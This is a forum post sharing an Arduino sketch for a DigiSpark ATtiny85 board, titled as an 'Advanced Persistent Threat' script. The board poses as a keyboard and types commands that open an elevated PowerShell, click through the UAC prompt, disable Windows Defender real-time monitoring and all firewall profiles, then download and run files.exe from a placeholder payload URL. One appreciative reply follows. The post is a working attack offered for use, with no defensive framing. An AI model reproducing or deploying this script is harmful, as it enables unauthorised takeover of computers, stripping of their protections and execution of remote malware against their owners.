ATtiny85 DigiSpark Script for Advanced Persistent Threat

The Background Idea !

The Digispark is an Attiny85 based microcontroller development board similar to the Arduino line, only cheaper, smaller, and a bit less powerful. With a whole host of shields to extend its functionality and the ability to use the familiar Arduino IDE the Digispark is a great way to jump into electronics, or perfect for when an Arduino is too big or too much.

DigiSpark Script for APT

Note: You can adjust the time (delay) based on the target machine.

#include "DigiKeyboard.h"
void setup() {
  pinMode(1, OUTPUT);
}
void loop() {
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000); 
  DigiKeyboard.println("Set-MpPreference -DisableRealtimeMonitoring $true"); 
  DigiKeyboard.delay(3000); 
  DigiKeyboard.println("Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False");
  DigiKeyboard.delay(3000);
  DigiKeyboard.println("Invoke-WebRequest 'http://example.com/payloads/files.exe' -OutFile 'files.exe'");
  DigiKeyboard.delay(5000);
  DigiKeyboard.println("start files.exe");
  DigiKeyboard.delay(700);
  DigiKeyboard.println("exit");
  digitalWrite(1, LOW);
  DigiKeyboard.delay(5000);
      for (;;) {
  }
}
 
1 Like

Thanks for sharing bro. we miss you… :smiling_face_with_three_hearts: